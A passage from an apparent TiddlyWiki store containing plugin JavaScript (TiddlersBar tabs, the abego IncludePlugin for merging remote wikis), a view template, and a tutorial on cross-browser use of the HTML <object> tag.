		if (config.macros.tiddlersBar.previousState!=config.macros.tiddlersBar.isShown()) {
			story.refreshAllTiddlers();
			if (config.macros.tiddlersBar.previousState) story.forEachTiddler(function(t,e){e.style.display="";});
			config.macros.tiddlersBar.previousState = !config.macros.tiddlersBar.previousState;
		}
	},
	isShown : function(){
		if (config.options.chkDisableTabsBar) return false;
		if (!config.options.chkHideTabsBarWhenSingleTab) return true;
		var cpt=0;
		story.forEachTiddler(function(){cpt++});
		return (cpt>1);
	},
	selectNextTab : function(){  //used when the current tab is closed (to select another tab)
		var previous="";
		story.forEachTiddler(function(title){
			if (!config.macros.tiddlersBar.currentTiddler) {
				story.displayTiddler(null,title);
				return;
			}
			if (title==config.macros.tiddlersBar.currentTiddler) {
				if (previous) {
					story.displayTiddler(null,previous);
					return;
				}
				else config.macros.tiddlersBar.currentTiddler=""; 	// so next tab will be selected
			}
			else previous=title;
			});		
	},
	onSelectTab : function(e){
		var t = this.getAttribute("tiddler");
		if (t) story.displayTiddler(null,t);
		return false;
	},
	onTabClose : function(e){
		var t = this.getAttribute("tiddler");
		if (t) {
			if(story.hasChanges(t) && !readOnly) {
				if(!confirm(config.commands.cancelTiddler.warning.format([t])))
				return false;
			}
			story.closeTiddler(t);
		}
		return false;
	},
	onTabSave : function(e) {
		var t = this.getAttribute("tiddler");
		if (!e) e=window.event;
		if (t) config.commands.saveTiddler.handler(e,null,t);
		return false;
	},
	onSelectedTabButtonClick : function(event,src,title) {
		var t = this.getAttribute("tiddler");
		if (!event) event=window.event;
		if (t && config.options.txtSelectedTiddlerTabButton && config.commands[config.options.txtSelectedTiddlerTabButton])
			config.commands[config.options.txtSelectedTiddlerTabButton].handler(event, src, t);
		return false;
	},
	onTiddlersBarAction: function(event) {
		var source = event.target ? event.target.id : event.srcElement.id; // FF uses target and IE uses srcElement;
		if (source=="tiddlersBar") story.displayTiddler(null,'New Tiddler',DEFAULT_EDIT_TEMPLATE,false,null,null);
	},
	createActiveTabButton : function(place,title) {
		if (config.options.txtSelectedTiddlerTabButton && config.commands[config.options.txtSelectedTiddlerTabButton]) {
			var btn = createTiddlyButton(place, title, config.commands[config.options.txtSelectedTiddlerTabButton].tooltip ,config.macros.tiddlersBar.onSelectedTabButtonClick);
			btn.setAttribute("tiddler", title);
		}
		else
			createTiddlyText(place,title);
	}
}

story.coreCloseTiddler = story.coreCloseTiddler? story.coreCloseTiddler : story.closeTiddler;
story.coreDisplayTiddler = story.coreDisplayTiddler ? story.coreDisplayTiddler : story.displayTiddler;

story.closeTiddler = function(title,animate,unused) {
	if (title==config.macros.tiddlersBar.currentTiddler)
		config.macros.tiddlersBar.selectNextTab();
	story.coreCloseTiddler(title,false,unused); //disable animation to get it closed before calling tiddlersBar.refresh
	var e=document.getElementById("tiddlersBar");
	if (e) config.macros.tiddlersBar.refresh(e,null);
}

story.displayTiddler = function(srcElement,tiddler,template,animate,unused,customFields,toggle){
	story.coreDisplayTiddler(config.macros.tiddlersBar.tabsAnimationSource,tiddler,template,animate,unused,customFields,toggle);
	var title = (tiddler instanceof Tiddler)? tiddler.title : tiddler;  
	if (config.macros.tiddlersBar.isShown()) {
		story.forEachTiddler(function(t,e){
			if (t!=title) e.style.display="none";
			else e.style.display="";
		})
		config.macros.tiddlersBar.currentTiddler=title;
	}
	var e=document.getElementById("tiddlersBar");
	if (e) config.macros.tiddlersBar.refresh(e,null);
}

var coreRefreshPageTemplate = coreRefreshPageTemplate ? coreRefreshPageTemplate : refreshPageTemplate;
refreshPageTemplate = function(title) {
	coreRefreshPageTemplate(title);
	if (config.macros.tiddlersBar) config.macros.tiddlersBar.refresh(document.getElementById("tiddlersBar"));
}

//ensureVisible=function (e) {return 0} //disable bottom scrolling (not useful now)

config.shadowTiddlers.StyleSheetTiddlersBar = "/*{{{*/\n";
config.shadowTiddlers.StyleSheetTiddlersBar += "#tiddlersBar .button {border:0}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += "#tiddlersBar .tab {white-space:nowrap}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += "#tiddlersBar {padding : 1em 0.5em 2px 0.5em}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += ".tabUnselected .tabButton, .tabSelected .tabButton {padding : 0 2px 0 2px; margin: 0 0 0 4px;}\n";
config.shadowTiddlers.StyleSheetTiddlersBar += ".tiddler, .tabContents {border:1px [[ColorPalette::TertiaryPale]] solid;}\n";
config.shadowTiddlers.StyleSheetTiddlersBar +="/*}}}*/";
store.addNotification("StyleSheetTiddlersBar", refreshStyles);

config.refreshers.none = function(){return true;}
config.shadowTiddlers.PageTemplate=config.shadowTiddlers.PageTemplate.replace(/<div id='tiddlerDisplay'><\/div>/m,"<div id='tiddlersBar' refresh='none' ondblclick='config.macros.tiddlersBar.onTiddlersBarAction(event)'></div>\n<div id='tiddlerDisplay'></div>");

//}}}
<!--{{{-->
<div class='toolbar' macro='toolbar closeTiddler closeOthers +editTiddler > fields syncing permalink references jump'></div>
<div class='title' macro='view title'></div>
<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>

<!--
<div class='tagging' macro='tagging'></div>
-->
<div class='tagged' macro='tags'></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
<!--}}}-->
網址 : http://joliclic.free.fr/html/object-tag/en/ 

A lot of people insert medias in their web page with the non-standard <embed> tag. But there is a standard tag for this insertion kind, <object> . Effectively this is not immediate to use it manner cross-browsers, but we'll see that there are some techniques for that practically all the browsers be able to understand the code.

The HTML 4.01 specification introduce the <object> element :

    ...HTML 4 introduces the OBJECT element, which offers an all-purpose solution to generic object inclusion. The OBJECT element allows HTML authors to specify everything required by an object for its presentation by a user agent: source code, initial values, and run-time data. In this specification, the term "object" is used to describe the things that people want to place in HTML documents; other commonly used terms for these things are: applets, plug-ins, media handlers, etc.

This element is designed to include any sort of document. We specify which sort with the type attribute indicating the mime type, and the source of the document with the data attribute indicating his URI.

If the browser, or one of his plugin, can interpret this document, it does it, otherwise the nested content of the object is displayed.
Any HTML code can be inserted as a alternative content, for example a link to the document or an image instead an animation. It can be also another alternative object, we talk about "nested object".

For a lot of type of document, that's all !

''examples :''

embed a HTML document
{{{
<object data="data/test.html" type="text/html" width="300" height="200">
  alt : <a href="data/test.html">test.html</a>
</object>
}}}

embed a pdf document
{{{
<object data="data/test.pdf" type="application/pdf" width="300" height="200">
  alt : <a href="data/test.pdf">test.pdf</a>
</object>
}}}

You can specify some parameters related to the document with the param tag. IE sometimes needs a src parameter to understand the location.

embed a wav document
{{{
<object type="audio/x-wav" data="data/test.wav" width="200" height="20">
  <param name="src" value="data/test.wav">
  <param name="autoplay" value="false">
  <param name="autoStart" value="0">
  alt : <a href="data/test.wav">test.wav</a>
</object>
}}}
The parameters autoplay is understandable by ~QuickTime, autoStart by Windows media Player and Real Audio.

!More complicated cases

For some types, like ~QuickTime document, IE needs a non-standard value to the valid classid attribute, an identifier to load an associated activeX.

an only IE insertion of a ~QuickTime document
{{{
<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
        width="320" height="240">
  <param name="src" value="data/test.mov" >
  alt : <a href="data/test.mov">test.mov</a>
</object>
}}}

We 're going to nest another object as an alternative content, for the other browsers that use the standard formulation :

nested objects
{{{
<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
        width="320" height="240">
  <param name="src" value="data/test.mov" >
  <param name="controller" value="true" >
  <param name="autoplay" value="false">

  <object type="video/quicktime" data="data/test.mov" width="320" height="240">
    <param name="controller" value="true" >
    <param name="autoplay" value="false">
   alt : <a href="data/test.mov">test.mov</a>
  </object>
</object>
}}}

It works, but unfortunately IE has a bug, it displays a blank zone for the second object.
This bug is resolved in ~IE7, but for older versions, we must hide this second object. We have two techniques to do it, the IE specific conditional comments, or by CSS.

Hide the nested object with IE conditional comments

~IE5 introduce the conditional comments, that is very helpful to compensate IE bugs. This method isn't understandable by earlier versions of IE, but fortunately they are almost not used.

We can write two objects, one specially for IE, and another for the standards respectful browsers :
{{{
<!--[if IE]>
<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
        width="320" height="240">
  <param name="src" value="data/test.mov" >
  <param name="controller" value="true" >
  <param name="autoplay" value="false">
</object>
<![endif]-->

<!--[if !IE]> <!-->
<object type="video/quicktime" data="data/test.mov" width="320" height="240">
  <param name="controller" value="true" >
  <param name="autoplay" value="false">
  alt : <a href="data/test.mov">test.mov</a>
</object>
<!--<![endif]-->
}}}

But as ~IE7 corrects this bug, I prefer to use them with nested objects :
{{{
<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
        width="320" height="240">
  <param name="src" value="data/test.mov" >
  <param name="controller" value="true" >
  <param name="autoplay" value="false">

  <!--[if gte IE 7]> <!-->
  <object type="video/quicktime" data="data/test.mov" width="320" height="240">
    <param name="controller" value="true" >
    <param name="autoplay" value="false">
   alt : <a href="data/test.mov">test.mov</a>
  </object>
  <!--<![endif]-->
  <!--[if lt IE 7]>
   alt : <a href="data/test.mov">test.mov</a>
  <![endif]-->
</object>
}}}

Hide the nested object with CSS

The other solution is to use some CSS hacks to hide the nested object. We must use a hack to create rules applied only by IE to hide the object, then another to render visible it again by IE Mac.

special class for IE (place it in a style tag on the head of the HTML document, or in a separate stylesheet)
{{{
/* hides the second object from all versions of IE */

* html object.hiddenObjectForIE { display: none; }

/* display the second object only for IE5 Mac */

/* IE Mac \*//*/
* html object.hiddenObjectForIE { display: inline; }
/**/
}}}

and apply this style to the nested object
{{{
<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
        width="320" height="240">
  <param name="src" value="data/test.mov" >
  <param name="controller" value="true" >
  <param name="autoplay" value="false">

  <object type="video/quicktime" data="data/test.mov"
         width="320" height="240"
         class="hiddenObjectForIE">
    <param name="controller" value="true" >
    <param name="autoplay" value="false">
   alt : <a href="data/test.mov">test.mov</a>
  </object>
</object>
}}}

This technic have some annoyances with java (and perhaps some other), a security alert is displayed on loading, and the alternative content of the nested object is also displayed.
/***
|''Name:''|abego.IncludePlugin|
|''Version:''|1.0.0 (2007-02-08)|
|''Type:''|plugin|
|''Source:''|http://tiddlywiki.abego-software.de/#IncludePlugin|
|''Author:''|Udo Borkowski (ub [at] abego-software [dot] de)|
|''Documentation:''|[[IncludePlugin Documentation|http://tiddlywiki.abego-software.de/#%5B%5BIncludePlugin%20Documentation%5D%5D]]|
|''Community:''|([[del.icio.us|http://del.icio.us/post?url=http://tiddlywiki.abego-software.de/index.html%23IncludePlugin]]) ([[Support|http://groups.google.com/group/TiddlyWiki]])|
|''Copyright:''|&copy; 2007 [[abego Software|http://www.abego-software.de]]|
|''Licence:''|[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]|
|''~CoreVersion:''|2.1.3|
|''Browser:''|Firefox 1.5.0.9 or better; Internet Explorer 6.0|
***/
//{{{

// Ensure the global abego namespace is set up.
if (!window.abego) window.abego = {};

var invokeLater = function(func, delay, priority) {
	return abego.invokeLater ? abego.invokeLater(func, delay, priority) : setTimeout(func,delay);
};

// Asynchronously load the given (local or remote) file.
// 
// @param url 		either an URL or a local file path to a file
//					Examples:
//						* http://www.abego-software.de/index.html
//						* file:///C:/abegoWebSite-Copy/index.html
//						* C:\abegoWebSite-Copy\index.html    (for Windows machines)
//							(Notice: backslashes in JavaScript string constants must be escaped, 
//							 i.e. the last example must be written as: "C:\\abegoWebSite-Copy\\index.html"
//							 when "hardcoded" in JavaScript source code)
// 
// @param callback 
//					function(content,url,params,errorMessage) 
//					called at the end of the operation. 
//					On success content holds the content of the loaded file. 
//					On error content is undefined and errorMessage holds an error message. 
//					params is the params passed into abego.loadFile.
//
// @param params 	passed through to the callback function
// 
abego.loadFile = function(url,callback,params) {

	var onLoad = function(status,params,responseText,url,xhr) {
		return status 
				? callback(responseText, url, params)
				: callback(undefined, url, params, "Error loading %0".format([url]));
	};
	
	// Make sure the URL is a real URL, with protocol prefix etc.
	if (url.search(/^((http(s)?)|(file)):/) != 0) {
		
		// no protocol specified. 
		if (url.search(/^((.\:\\)|(\\\\)|(\/))/) == 0) {
			// "url" is an "absolute" path to a local file. Prefix it with file://
			url = "file://"+url;
			
		} else {
			// "url" is a "relative" URL. Make it absolute
			
			// prefix the url with the directory containing the current document
			// (This also includes the protocol prefix)
			var documentPath = document.location.toString();
			var i = documentPath.lastIndexOf("/");
			url = documentPath.substr(0,i+1)+url;
		}
		// replace every \ by a /, to cover Windows style pathes
		url = url.replace(/\\/mg,"/");
	}
	
	loadRemoteFile(url,onLoad,params);

};

// Asynchronously load the given (local or remote) TiddlyWiki store.
// 
// @param url 		either an URL or a local file path to a TiddlyWiki file (absolute or relative)
//					Examples:
//						* http://www.abego-software.de/index.html
//						* file:///C:/abegoWebSite-Copy/index.html
//						* include/beta.html
//						* C:\abegoWebSite-Copy\index.html    (for Windows machines)
//							(Notice: backslashes in JavaScript string constants must be escaped, 
//							 i.e. the last example must be written as: "C:\\abegoWebSite-Copy\\index.html"
//							 when "hardcoded" in JavaScript source code)
// 
// @param callbackWithStore 
//					function(theStore,url,params,errorMessage) 
//					called at the end of the operation. 
//					On success theStore holds the loaded store (a TiddlyWiki object). 
//					On error theStore is undefined and errorMessage holds an error message. 
//					params is the params passed into abego.loadTiddlyWikiStore
//
// @param params 	passed through to the callbackWithStore
//
// @progress		[optional] function(message, sender, state, url, params) called in various situations during the operation,
//								typically used to show "the progress" of the operation.
//								sender: the constant "abego.loadTiddlyWikiStore"
//								state: one of these: "Started", "Processing", "Done", "Failed"
//									"Processing" means the data has been received and in now processed.
// 
abego.loadTiddlyWikiStore = function(url,callbackWithStore,params,progress) {
	
	var sendProgress = function(message, state) {
		if (progress)
			progress(message,"abego.loadTiddlyWikiStore",state,url,params);
	};
	
	// Load contents of a TiddlyWiki from a string
	//# Returns null on success, an error message otherwise.
	//# based on code from TiddlyWiki 2.2 alpha
	var importTiddlyWiki = function(store,text)
	{
		// Crack out the content - will be refactored to share code with saveChanges()
		var posOpeningDiv = text.indexOf(startSaveArea);
		var limitClosingDiv = text.indexOf("<!--POST-BODY-END--"+">");
		var posClosingDiv = text.lastIndexOf(endSaveArea,limitClosingDiv == -1 ? text.length : limitClosingDiv);
		if((posOpeningDiv == -1) || (posClosingDiv == -1))
			return config.messages.invalidFileError.format([url]);
		var content = "<html><body>" + text.substring(posOpeningDiv,posClosingDiv + endSaveArea.length) + "</body></html>";
		// Create the iframe
		var iframe = document.createElement("iframe");
		iframe.style.display = "none";
		document.body.appendChild(iframe);
		var doc = iframe.document;
		if(iframe.contentDocument)
			doc = iframe.contentDocument; // For NS6
		else if(iframe.contentWindow)
			doc = iframe.contentWindow.document; // For IE5.5 and IE6
		// Put the content in the iframe
		doc.open();
		doc.writeln(content);
		doc.close();
		// Load the content into a TiddlyWiki() object
		var storeArea = doc.getElementById("storeArea");
		store.loadFromDiv(storeArea,"store");
		// Get rid of the iframe
		iframe.parentNode.removeChild(iframe);
		return null;
	};
	
	var sendError = function(message) {
		sendProgress("Error when loading %0".format([url]),"Failed");
		callbackWithStore(undefined, url,params, message);
		return message;
	};
	
	var sendStore = function(store) {
		sendProgress("Loaded %0".format([url]),"Done");
		callbackWithStore(store, url, params);
		return null;
	};
	
	
	var callback = function(content,theURL,params,errorMessage) {
		if (content === undefined) {
			sendError(errorMessage);
			return;
		}
		
		sendProgress("Processing %0".format([url]),"Processing");
		var orig_invalidFileError = config.messages.invalidFileError;
		config.messages.invalidFileError = "The file '%0' does not appear to be a valid TiddlyWiki file";
		try {
			// Load the content into a TiddlyWiki() object
			var importStore = new TiddlyWiki();
			var errorText = importTiddlyWiki(importStore,content);
			if (errorText)
				sendError(errorText);
			else
				sendStore(importStore);

		} catch (ex) {
			sendError(exceptionText(ex));
		} finally {
			config.messages.invalidFileError = orig_invalidFileError;
		}
	};
	
	sendProgress("Start loading %0".format([url]),"Started");
	abego.loadFile(url,callback,params);
};


//==============================================================================
// Include Plugin 

(function(){

// only install once
if (abego.TiddlyWikiIncluder) return;


// --------------------------------------------------
// Constants

var WAITING = "waiting";
var LOADING = "loading";

var ANI_DURATION_HIDE_STATE = 1000;

var REFRESH_PRIORITY = -200;
var ANIMATION_PRIORITY = -100;
var UPDATE_STATE_PRIORITY = -300;

// --------------------------------------------------
// Variables

var useInclude;
var includes = []; // [] of Strings. the urls of the stores to include, in the sequence of the calls.
var includedStores = {}; // url(String) -> TiddlyWiki or String; when not (yet) loaded a status or error string.
var pendingOnLoadURLs = []; // [] of String. a list of urls that should be passed with the next "notifyListeners".
var refreshTiddlyWikiTimerID; // for delayed refresh
var listeners = [];
var progress;

// --------------------------------------------------
// Helper functions

var isIncludeEnabled = function() {
	if (useInclude === undefined)
		useInclude = config.options.chkUseInclude === undefined || config.options.chkUseInclude;
	return useInclude;
};

var getMissingIncludeMsg = function(url) {
	return "No include specified for %0".format([url])
};

// Called after one or more included TiddlyWikis are loaded
//
var notifyListeners = function() {
	var urls = pendingOnLoadURLs;
	pendingOnLoadURLs = [];
	if (urls.length) {
		for (var i= 0; i < listeners.length; i++)
			listeners[i](urls);
	}
};

var idleCount; // Reset to 0 when the system is "not idle", incremented inside refreshTiddlyWiki

var refreshTiddlyWiki = function() {
	// To avoid to much refreshing/flickering don't refresh immediately 
	// but wait until the system was idle for a certain time.
	
	if (refreshTiddlyWikiTimerID !== undefined) clearInterval(refreshTiddlyWikiTimerID);
	
	idleCount = 0;
	
	var sendDone = function() {
		abego.TiddlyWikiIncluder.sendProgress("","","Done");
	};
	
	refreshTiddlyWikiTimerID = setInterval(function() {
		idleCount++;
		if (idleCount <= 10)
			return;
			
		clearInterval(refreshTiddlyWikiTimerID);
		refreshTiddlyWikiTimerID = undefined;
			
		abego.TiddlyWikiIncluder.sendProgress("Refreshing...","","");
		refreshDisplay();
		invokeLater(sendDone,0,REFRESH_PRIORITY);
	},0);
};

// Calls callback for every loaded store and returns the first non-false/null.. value returned by callback.
//
// @param callback  function(store, url)
//
var forEachLoadedStore = function(callback) {
	var result;
	for (var i = 0; i < includes.length; i++) {
		var theStore = abego.TiddlyWikiIncluder.getStore(includes[i]);
		if (theStore && (result = callback(theStore, includes[i])))
			return result;
	}
};

var attachToStore = function() {
	if (!window.store)
		return invokeLater(attachToStore,100);
		
	var orig_fetchTiddler = store.fetchTiddler;
	
	store.fetchTiddler = function(title) {
		var t = orig_fetchTiddler.apply(this,arguments);
		if (t) return t;
		
		// When there is a shadowtiddler with that name done look for
		// any included tiddler since these would hide the shadow
		if (config.shadowTiddlers[title] !== undefined) return undefined;
		
		// Don't look for the "New Tiddler" tiddler in the included TiddlyWikis,
		// since returning such a tiddler (that is readonly) will make it impossible
		// in the Main TiddlyWiki to create new tiddlers.
		if (title == config.macros.newTiddler.title) return undefined;

		return forEachLoadedStore(
				function(theStore, url) {
					var t = theStore.fetchTiddler(title);
					if (t) 
						t.includeURL = url;
					return t;
				});
	};

	// We also refresh TiddlyWiki to reflect the new included Tiddlers (if we have any).
	if (includes.length)
		refreshTiddlyWiki();
};

var includeFromIncludeList = function() {
	if (!window.store)
		return invokeLater(includeFromIncludeList,100);
		
	var includeListText = store.getTiddlerText("IncludeList");
	if (includeListText) 
		wikify(includeListText,document.createElement("div"));
};

var getFunctionUsingForReallyEachTiddler = function(func) {
	var wrapper = function() {
		var orig_forEachTiddler = store.forEachTiddler;

		var forEachTiddlerWithIncludes = function(callback) {
			var done = {};
			var includeURL;

			var callbackWrapper = function(title, tiddler) {
				// ensure every title is only processed once
				if (done[title]) 
					return;
				done[title] = 1;
				
				// for "included tiddlers" set the includeURL;
				if (includeURL)
					tiddler.includeURL = includeURL;
				
				callback.apply(this,arguments);
			};
			
			// forEachTiddler over the original tiddlers
			orig_forEachTiddler.call(store, callbackWrapper);
			
			// add all shadowTiddler titles to done 
			// (to avoid an included store hides a shadow tiddler)
			for (var n in config.shadowTiddlers)
				done[n] = 1;

			// add all the "New Tiddler" tiddlerto done 
			// (to avoid an included store (with "New Tiddler") makes it impossible to create new tiddlers)
			done[config.macros.newTiddler.title] = 1;

			// forEachTiddler over every included store
			forEachLoadedStore(
					function(theStore, url) {
						includeURL = url;
						theStore.forEachTiddler(callbackWrapper);
					});
		};
		
		store.forEachTiddler = forEachTiddlerWithIncludes;
		try {
			return func.apply(this,arguments);
		} finally {
			store.forEachTiddler = orig_forEachTiddler;
		}
	};
	
	return wrapper;
};

var useForReallyEachTiddler = function(object,property) {
	return object[property] = getFunctionUsingForReallyEachTiddler(object[property]);
};


//================================================================================
// abego.TiddlyWikiIncluder

abego.TiddlyWikiIncluder = {};

abego.TiddlyWikiIncluder.setProgressFunction = function(func) {
	progress = func;
};

abego.TiddlyWikiIncluder.getProgressFunction = function(func) {
	return progress;
};

abego.TiddlyWikiIncluder.sendProgress = function(message, sender, state) {
	if (progress)
		progress.apply(this,arguments);
};


// Called when an included TiddlyWiki could not be loaded.
//
// By default an error message is displayed.
//
abego.TiddlyWikiIncluder.onError = function(url, errorMessage) {
	displayMessage("Error when including '%0':\n%1".format([url, errorMessage]));
};


// Returns true when there are "pending" includes, i.e. TiddlyWiki that are not yet loaded.
//
// A TiddlyWiki that failed loading is not pending.
//
abego.TiddlyWikiIncluder.hasPendingIncludes = function() {
	for (var i = 0; i < includes.length; i++) {
		var state = abego.TiddlyWikiIncluder.getState(includes[i]);
		if (state == WAITING || state == LOADING)
			return true;
	}
	return false;
};


// @return [] of Strings, the URLs of the includes
//
abego.TiddlyWikiIncluder.getIncludes = function() {
	return includes.slice();
};


// @return [may be null] a state/error text of the store with the given URL, or null when the store is already loaded
//
abego.TiddlyWikiIncluder.getState = function(url) {
	var s = includedStores[url];
	if (!s)
		return getMissingIncludeMsg(url);
	return typeof s == "string" ? s : null;
};


// @return [may be null] the (TiddlyWiki) store  with the given URL, null if not (yet) loaded.
//
abego.TiddlyWikiIncluder.getStore = function(url) {
	var s = includedStores[url];
	if (!s)
		return getMissingIncludeMsg(url);
	return s instanceof TiddlyWiki ? s : null;
};


// Includes the (local or remote) TiddlyWiki store with the given url.
// 
// stores with urls already already included are ignored.
//
// @param url	see url@abego.loadTiddlyWikiStore
// @param delayMilliSeconds [optional] if defined loading starts delayMilliSeconds later, otherwise "immediately"
//
abego.TiddlyWikiIncluder.include = function(url, delayMilliSeconds) {
	if (!isIncludeEnabled() || includedStores[url])
		return;
	var self = this;
	
	includes.push(url);
	includedStores[url] = WAITING;

	var loadStoreCallback = function(theStore,urlInCallback,params,errorMessage) {
		if (theStore === undefined) {
			includedStores[url] = errorMessage;
			self.onError(url, errorMessage);
			return;
		}
		includedStores[url] = theStore;
		pendingOnLoadURLs.push(url);
		invokeLater(notifyListeners);
	};
	
	var loadStore = function() {
		includedStores[url] = LOADING;
		abego.loadTiddlyWikiStore(url,loadStoreCallback,null,progress);
	};
	
	if (delayMilliSeconds)
		invokeLater(loadStore, delayMilliSeconds);
	else
		loadStore();
};


// iterates over all tiddlers of "the store" and all tiddlers of included (and loaded) stores
//
abego.TiddlyWikiIncluder.forReallyEachTiddler = function(callback) {
	var caller = function() {
		store.forEachTiddler(callback);
	};
	
	getFunctionUsingForReallyEachTiddler(caller).call(store);
};


// function abego.TiddlyWikiIncluder.getFunctionUsingForReallyEachTiddler(func)
//
// Returns a function that behaves as func, but every call to store.forEachTiddler will actually 
// be a call to forReallyEachTiddler, i.e. iterate over the tiddlers the main store and of the 
// included TiddlyWikis
//
// @return the patched function
//
abego.TiddlyWikiIncluder.getFunctionUsingForReallyEachTiddler = getFunctionUsingForReallyEachTiddler;


// function abego.TiddlyWikiIncluder.useForReallyEachTiddler(object,property)
//
// Patches the function hold in the given property of the object in such a way that every call
// to store.forEachTiddler will actually be a call to forReallyEachTiddler, i.e. iterate over the
// tiddlers the main staire and of the included TiddlyWikis
//
// @param object
// @param property the name of the property of the object containing the function to be patched.
// @return the patched function
//
abego.TiddlyWikiIncluder.useForReallyEachTiddler = useForReallyEachTiddler;


// Add a listener function to the TiddlyWikiIncluder.
//
// @param listener function(urls)
//							url: [] of Strings, containing the urls of the TiddlyWiki just included
//									(see url@abego.TiddlyWikiIncluder.include)
//						called whenever one or more TiddlyWiki store are successfully included.
//
abego.TiddlyWikiIncluder.addListener = function(listener) {
	listeners.push(listener);
};

// -------------------------------------------------------------------------------
// TiddlyWikiIncluder initialization code

abego.TiddlyWikiIncluder.addListener(refreshTiddlyWiki);

//----------------------------------------------------------------------------
// Options Support

if (config.options.chkUseInclude === undefined) config.options.chkUseInclude = true;

config.shadowTiddlers.AdvancedOptions += "\n<<option chkUseInclude>> Include ~TiddlyWikis (IncludeList | IncludeState | [[help|http://tiddlywiki.abego-software.de/#%5B%5BIncludePlugin%20Documentation%5D%5D]])\n^^(Reload this ~TiddlyWiki to make changes become effective)^^";
config.shadowTiddlers.IncludeState = "<<includeState>>";

//================================================================================
// Default Progress Handling for abego.TiddlyWikiIncluder

var showAnimated = function(e, showing, duration) {
	if (!anim || !abego.ShowAnimation) {
		e.style.display = showing ? "block" : "none";
		return;
	}
	
	anim.startAnimating(new abego.ShowAnimation(e,showing,duration));
};

abego.TiddlyWikiIncluder.getDefaultProgressFunction = function() {

	setStylesheet(
		".includeProgressState{\n"+
		"background-color:#FFCC00;\n"+
		"position:absolute;\n"+
		"right:0.2em;\n"+
		"top:0.2em;\n"+
		"width:7em;\n"+
		"padding-left:0.2em;\n"+
		"padding-right:0.2em\n"+
		"}\n",
		"abegoInclude");

	var createStateElem = function() {
		var e = document.createElement("div");
		e.className = "includeProgressState";
		e.style.display = "none";
		document.body.appendChild(e);
		return e;
	};
	
	var stateElem = createStateElem();


	var showState = function(message) {
		removeChildren(stateElem);
		createTiddlyText(stateElem,message);
		showAnimated(stateElem,true,0);
	};

	var hideState = function() {
		// hide the state the next idle time 
		invokeLater(function() {
			showAnimated(stateElem,false,ANI_DURATION_HIDE_STATE);
		},100,ANIMATION_PRIORITY);
	};
	
	var myProgressFunction = function(message, sender, state, url, params) {
		
		if (state == "Done" || state == "Failed") {
			hideState();
			return;
		}
		
		if (sender == "abego.loadTiddlyWikiStore") {
			idleCount = 0;
			if (state == "Processing")
				showState("Including...");
		} else {
			showState(message);
		}
	};
	return myProgressFunction;
};

abego.TiddlyWikiIncluder.setProgressFunction(abego.TiddlyWikiIncluder.getDefaultProgressFunction());


//================================================================================
// The "include" macro
//
// Syntax: <<include {url}* [delay: {milliSeconds}] [hide: true] >>
//

config.macros.include = {};
config.macros.include.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
    params = paramString.parseParams("url",null,true,false,true); // allowEval, cascadeDefaults, names allowed
	var delay = parseInt(getParam(params,"delay","0"));
	var urls = params[0]["url"];
	var hide = getFlag(params, "hide", false);
	if (!hide)
		createTiddlyText(createTiddlyElement(place,"code"),wikifier.source.substring(wikifier.matchStart, wikifier.nextMatch));
	for (var i = 0; urls && i < urls.length; i++)
		abego.TiddlyWikiIncluder.include(urls[i],delay);
};


//================================================================================
// The "includeState" macro
//
// Syntax: <<includeState>>

config.macros.includeState = {};
config.macros.includeState.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
	var getFullState = function () {
		var s = "";
		var includes = abego.TiddlyWikiIncluder.getIncludes();
		if (!includes.length)
			return "{{noIncludes{\nNo includes or 'include' is disabled (see AdvancedOptions)\n}}}\n";
			
		s += "|!Address|!State|\n";
		for (var i = 0; i < includes.length; i++) {
			var inc = includes[i];
			s += "|{{{"+inc+"}}}|";
			var t = abego.TiddlyWikiIncluder.getState(inc);
			s += t ? "{{{"+t+"}}}" : "included";
			s += "|\n"
		}
		s += "|includeState|k\n";
		return s;
	};
	
	var updateState = function(){
		removeChildren(div);
		wikify(getFullState(),div);
		if (abego.TiddlyWikiIncluder.hasPendingIncludes())
			invokeLater(updateState,500,UPDATE_STATE_PRIORITY);
	};

	var div = createTiddlyElement(place,"div");
	
	invokeLater(updateState,0,UPDATE_STATE_PRIORITY);
};

//================================================================================
// Tiddler extension/modification

var orig_Tiddler_isReadOnly = Tiddler.prototype.isReadOnly;

// Includes tiddlers are readonly.
Tiddler.prototype.isReadOnly = function() {
	return orig_Tiddler_isReadOnly.apply(this,arguments) || this.isIncluded();
}

Tiddler.prototype.isIncluded = function() {
	return this.includeURL != undefined;
};

Tiddler.prototype.getIncludeURL = function() {
	return this.includeURL;
};


//================================================================================
// TiddlyWiki modifications

// In some TiddlyWiki functions the "forEachTiddler" should work on all tiddlers, also those from 
// included store. (E.g. TiddlyWiki.prototype.getTags)
//
// But not for all (e.g. TiddlyWiki.prototype.getTiddlers is used for saving, but only the "own" tiddlers should be saved)
//
// Therefore explicitly list the functions that should be "wrapped" to use the "forReallyEachTiddler".
//
var tiddlyWikiFunctionsUsingForReallyEachTiddler = {
	getMissingLinks: 1, getOrphans: 1,getTags:1, reverseLookup: 1, updateTiddlers: 1};
	
for (var n in tiddlyWikiFunctionsUsingForReallyEachTiddler)
	useForReallyEachTiddler(TiddlyWiki.prototype,n);


//================================================================================
// Make IntelliTagger "Include-aware"

var patchIntelliTagger = function() {
	if (abego.IntelliTagger)
		useForReallyEachTiddler(abego.IntelliTagger,"assistTagging");
};

//================================================================================
// Perform plugin startup tasks

attachToStore();
invokeLater(includeFromIncludeList,100);
invokeLater(patchIntelliTagger,100);

})();

//}}}
/***
|''Name:''|easyEditPlugin|
|''Description:''|Lite and extensible Wysiwyg editor for TiddlyWiki.|
|''Version:''|1.3.3|
|''Date:''|Dec 21,2007|
|''Source:''|http://visualtw.ouvaton.org/VisualTW.html|
|''Author:''|Pascal Collin|
|''License:''|[[BSD open source license|License]]|
